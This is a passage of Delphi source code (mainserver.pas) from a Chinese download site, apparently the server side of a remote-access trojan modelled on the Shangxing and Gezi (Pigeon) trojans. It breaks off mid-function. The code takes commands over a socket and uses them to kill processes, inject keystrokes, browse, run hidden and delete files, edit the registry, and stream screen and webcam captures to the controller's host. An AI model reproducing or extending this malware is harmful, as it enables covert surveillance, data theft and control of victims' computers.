⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainserver.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
📖 第 1 页 / 共 3 页
字号:
  if Copy(Recibido, 1, 8) = 'KILLPROC' then
  begin
    Delete(Recibido, 1, 9);
    if TerminarProceso(Recibido) = True then
      Socket.SendText('MSG|进程结束完毕 ' + Recibido + ENTER)
    else
      Socket.SendText('MSG| :( 没有找到进程PID,命令执行失败 ' + Recibido +
        ENTER);
  end;
  //窗口操作
  if Recibido = 'WIND' then
  begin
    Respuesta := GetWins();
    Socket.SendText('WIND|' + Respuesta + ENTER);
  end;
  //窗口句柄关闭
  if Copy(Recibido, 1, 8) = 'CLOSEWIN' then
  begin
    Delete(Recibido, 1, 9);
    CerrarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|窗口句柄结束成功 ' + Recibido + ENTER);
  end;
  //窗口最大化
  if Copy(Recibido, 1, 6) = 'MAXWIN' then
  begin
    Delete(Recibido, 1, 7);
    MaximizarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|窗口最大化成功' + Recibido + ENTER);
  end;
  //窗口最小化
  if Copy(Recibido, 1, 6) = 'MINWIN' then
  begin
    Delete(Recibido, 1, 7);
    MinimizarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|窗口最小化成功 ' + Recibido + ENTER);
  end;
  //窗口显示
  if Copy(Recibido, 1, 7) = 'SHOWWIN' then
  begin
    Delete(Recibido, 1, 8);
    MostrarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|窗口显示成功 ' + Recibido + ENTER);
  end;
  //窗口隐藏
  if Copy(Recibido, 1, 7) = 'HIDEWIN' then
  begin
    Delete(Recibido, 1, 8);
    OcultarVentana(StrToInt(Recibido));
    Socket.SendText('MSG|窗口隐藏成功 ' + Recibido + ENTER);
  end;
  //所有窗口最小化
  if Recibido = 'MINALLWIN' then
  begin
    MinimizarTodas();
    Socket.SendText('MSG|所有窗口最小化成功.' + ENTER);
  end;

  // 按键发送
  if Copy(Recibido, 1, 8) = 'SENDKEYS' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      //Copia el handle de la ventana...
    Delete(Recibido, 1, Pos('|', Recibido)); //borra el handle + '|'
    try
      i := StrToInt(TempStr)
    except
      begin
        Socket.SendText('MSG|无法发送键值命令 ' + TempStr + ENTER);
        Exit;
      end;
    end;
    AppActivateHandle(i);
    SendKeys(PChar(Recibido), True);
    Socket.SendText('MSG|发送键值成功 ' + TempStr + ENTER);
  end;
  //消息发送
  if Copy(Recibido, 1, 4) = 'MSJN' then
  begin
    Delete(Recibido, 1, 4);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    TempStr2 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, pos('|', Recibido));
    TempStr3 := Copy(Recibido, 1, Pos('|', Recibido) - 1);

    Tipo := 0;
    if TempStr2 = 'WARN' then
      Tipo := MB_ICONERROR;
    if TempStr2 = 'QUES' then
      Tipo := MB_ICONQUESTION;
    if TempStr2 = 'EXCL' then
      Tipo := MB_ICONEXCLAMATION;
    if TempStr2 = 'INFO' then
      Tipo := MB_ICONINFORMATION;

    case StrToInt(TempStr3) of
      0: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
        MB_OK);
      1: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
        MB_OKCANCEL);
      2: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
        MB_RETRYCANCEl);
      3: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
        MB_YESNO);
      4: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
        MB_YESNOCANCEL);
      5: BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
        MB_ABORTRETRYIGNORE);
    else
      BotonPulsado := MessageBox(0, PChar(TempStr), PChar(TempStr1), Tipo +
        MB_OK); //nunca deber韆 pasar pero es mejor prevenir
    end;
    case BotonPulsado of
      IdOK: Socket.SendText('MSG|“确定”图标消息' + ENTER);
      IdCancel: Socket.SendText('MSG|“取消”图标消息' + ENTER);
      IdRetry: Socket.SendText('MSG|“重试”图标消息' + ENTER);
      IdYes: Socket.SendText('MSG|“是”图标消息' + ENTER);
      IdNo: Socket.SendText('MSG|“否”图标消息' + ENTER);
      IdAbort: Socket.SendText('MSG|“放弃”图标消息' + ENTER);
      IdIgnore: Socket.SendText('MSG|“忽略”图标消息' + ENTER);
    end;
  end;
  //获取硬盘列表
  if Recibido = 'VERUNIDADES' then
    Socket.SendText('VERUNIDADES|' + GetDrives(Tam) + ENTER);
  //显示文件目录
  if Copy(Recibido, 1, 14) = 'LISTARARCHIVOS' then
  begin
    Delete(Recibido, 1, 15);
    if Copy(GetDirectory(Recibido), 1, 4) = 'MSG|' then
    begin
      Socket.SendText(GetDirectory(Recibido) + ENTER);
      Exit;
    end;
    TempStr := GetDirectory(Recibido);
    Socket.SendText('LISTARARCHIVOS|' + IntToStr(Length(TempStr)) + '|' + TempStr
      + ENTER);
  end;
  //执行文件
  if Copy(Recibido, 1, 4) = 'EXEC' then
  begin
    Delete(Recibido, 1, 5);
    if Copy(Recibido, 1, 6) = 'NORMAL' then //正常打开
    begin
      Delete(Recibido, 1, 7);
      if ShellExecute(0, 'open', PChar(Recibido), '',
        PChar(ExtractFilePath(Recibido)), SW_NORMAL) > 32 then
        Socket.SendText('MSG|文件成功执行.' + ENTER)
      else
        Socket.SendText('MSG|文件执行失败.' + ENTER);
    end; //if copy = normal
    if Copy(Recibido, 1, 6) = 'OCULTO' then //隐藏打开
    begin
      Delete(Recibido, 1, 7);
      if ShellExecute(0, 'open', PChar(Recibido), '' {sin parametros},
        PChar(ExtractFilePath(Recibido)), SW_HIDE) > 32 then
        Socket.SendText('MSG|隐藏打开文件成功.' + ENTER)
      else
        Socket.SendText('MSG|隐藏打开文件成功失败' + ENTER);
    end; //if copy = oculto
  end;
  if Copy(Recibido, 1, 7) = 'DELFILE' then //删除文件
  begin
    Delete(Recibido, 1, 8);
    if FileExists(Recibido) then
    begin
      if BorrarArchivo(Recibido) = True then
        Socket.SendText('MSG|删除文件成功' + ENTER)
      else
        Socket.SendText('MSG|删除文件失败' + ENTER);
    end
    else
      Socket.SendText('MSG|文件不存在' + ENTER);
  end;

  if Copy(Recibido, 1, 9) = 'DELFOLDER' then
  begin
    Delete(Recibido, 1, 10);
    if DirectoryExists(Recibido) then
    begin
      if BorrarCarpeta(Recibido) = True then
        Socket.SendText('MSG|删除文件夹成功' + ENTER)
      else
        Socket.SendText('MSG|删除文件夹失败' + ENTER);
    end
    else
      Socket.SendText('MSG|文件夹不存在' + ENTER);
  end;

  if Copy(Recibido, 1, 6) = 'RENAME' then
  begin
    Delete(Recibido, 1, 7);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    if FileExists(TempStr) or DirectoryExists(TempStr) then
    begin
      if RenameFile(TempStr, Recibido) = True then
        Socket.SendText('MSG|文件重命名成功' + ENTER)
      else
        Socket.SendText('MSG|文件重命名失败' + ENTER);
    end
    else
      Socket.SendText('MSG|文件不存在' + ENTER); //el archivo no existe...
  end;

  //新建文件夹
  if Copy(Recibido, 1, 5) = 'MKDIR' then
  begin
    Delete(Recibido, 1, 6);
    if not DirectoryExists(Recibido) then
    begin
      if CreateDir(Recibido) = True then
        Socket.SendText('MSG|新建文件夹成功' + ENTER)
      else
        Socket.SendText('MSG|新建文件夹失败' + ENTER);
    end
    else
      Socket.SendText('MSG|同名文件夹已经存在,无法创建' + ENTER);
        //Ya existe una carpeta con ese nombre
  end;

  if Copy(Recibido, 1, 12) = 'LISTARCLAVES' then
  begin
    Delete(Recibido, 1, 13);
    TempStr := ListarClaves(Recibido);
    Socket.SendText('LISTARCLAVES|' + IntToStr(length(TempStr)) + '|' + TempStr
      + ENTER);
  end;

  if Copy(Recibido, 1, 13) = 'LISTARVALORES' then
  begin
    Delete(Recibido, 1, 14);
    Socket.SendText('LISTARVALORES|' + ListarValores(Recibido) + ENTER);
  end;

  if Copy(Recibido, 1, 14) = 'NEWNOMBREVALOR' then
  begin
    Delete(Recibido, 1, 15);

    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));

    TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));

    TempStr2 := Copy(Recibido, 1, Length(Recibido));
    if RenombrarClave(PChar(TempStr), PChar(TempStr1), PChar(TempStr2)) then
      Socket.SendText('MSG|修改命令成功执行.' + ENTER)
    else
      Socket.SendText('MSG|修改命令执行失败.' + ENTER);
  end;

  if Copy(Recibido, 1, 14) = 'BORRARREGISTRO' then
  begin
    Delete(Recibido, 1, 15);
    if BorraClave(Recibido) then
      Socket.SendText('MSG|删除命令成功执行.' + ENTER)
    else
      Socket.SendText('MSG|删除命令执行失败.' + ENTER);
  end;
  //键值
  if Copy(Recibido, 1, 8) = 'NEWCLAVE' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    TempStr1 := Copy(Recibido, 1, Length(Recibido));
      //Quitamos la 鷏tima barra '\'
    if AniadirClave(TempStr + TempStr1, '', 'clave') then
      Socket.SendText('MSG|键值建立成功' + ENTER)
    else
      Socket.SendText('MSG|键值建立失败.' + ENTER);
  end;

  if Copy(Recibido, 1, 8) = 'ADDVALUE' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    if AniadirClave(TempStr, Copy(Recibido, 1, Length(Recibido)), TempStr1) then
      Socket.SendText('MSG|子键建立成功' + ENTER)
    else
      Socket.SendText('MSG|子键建立失败' + ENTER);
  end;

  if Copy(Recibido, 1, 9) = 'CAPSCREEN' then
  begin
    Delete(Recibido, 1, 10);
    Verycolored:=2;//默认
    thost := Configuracion.sHost;
    tport := Configuracion.iPort;
    tsh := sh;
    if ScreenOver then ScreenCapture.Terminate;
    ScreenCapture := TScreenCaptureThread.Create;
  end;
  //分辨率
  if Copy(recibido, 1, 6) = 'SETPIX' then
  begin
    Delete(recibido, 1, 7);
    try
     Verycolored:=strtoint(Copy(Recibido, 1, 1));
    except
     Verycolored:=2;
    end;
  end;
  //分辨率
  if Copy(recibido, 1, 8) = 'INTERVAL' then
  begin
    Delete(recibido, 1, 9);
   // messagebox(0,pchar(recibido),'',mb_ok);
    try
     interval:=strtoint(Recibido);
    except
     interval:=10;
    end;    
  end;

  //修改服务端ID
  if Copy(recibido, 1, 8) = 'CAMBIOID' then
  begin
    Delete(recibido, 1, 8);
    writeID(recibido);
  end;



  if Copy(recibido, 1, 13) = 'CAPTURAWEBCAM' then
  begin
    Delete(recibido, 1, 13);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));

 //  if CapturarWebcam(StrToInt(Recibido), StrToInt(TempStr)) then ;
//    begin
//
    Vhost := Configuracion.sHost;
    Vport := Configuracion.iPort;
    Vsh := sh;
    Try
      If TVThread<>Nil Then TVThread.Terminate;
      TVThread:=TDTVThread.Create;
    Except

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -